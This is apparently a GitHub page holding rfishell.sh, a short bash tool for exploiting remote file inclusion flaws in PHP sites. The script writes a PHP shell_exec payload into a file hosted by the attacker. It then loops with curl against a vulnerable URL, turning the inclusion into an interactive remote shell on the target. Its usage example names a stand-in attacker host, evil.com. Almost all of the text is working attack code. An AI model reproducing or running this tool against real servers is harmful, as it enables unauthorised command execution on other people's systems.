-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathrfishell.sh
More file actions
55 lines (46 loc) · 1010 Bytes
/
rfishell.sh
File metadata and controls
55 lines (46 loc) · 1010 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/bin/bash
function rfi_template {
echo "<?php print shell_exec(\"${1}\");?>" > ${2}
}
function usage {
echo "usage: $0 -f cmd.txt -u URL [-c \"curl-options\"]"
echo "eg : $0 -f /var/www/hack.txt -u \"https://vulnsite.com/test.php?page=http://evil.com/cmd.txt\" -c \"--insecure\""
}
if [[ -z $1 ]]; then
usage
exit 0;
fi
prefix=""
suffix=""
url=""
cmdfile=""
rfifile=""
while getopts ":c:u:f:" OPT; do
case $OPT in
u) url=$OPTARG;;
f) rfifile=$OPTARG;;
c) curlopts=$OPTARG;;
*) usage; exit 0;;
esac
done
if [[ -z $url ]]; then
usage
exit 0;
fi
which curl &>/dev/null
if [[ $? -ne 0 ]]; then
echo "[!] curl needs to be installed to run this script"
exit 1
fi
if [[ ! -z $rfifile ]]; then
# use RFI to execute commands
while :; do
printf "[rfi>] "
read cmd
rfi_template "${cmd}" ${rfifile}
echo "[+] requesting ${url}${prefix}${suffix}"
echo "curl ${curlopts} ${url}${prefix}${suffix}"
curl ${curlopts} "${url}${prefix}${suffix}"
echo ""
done
fi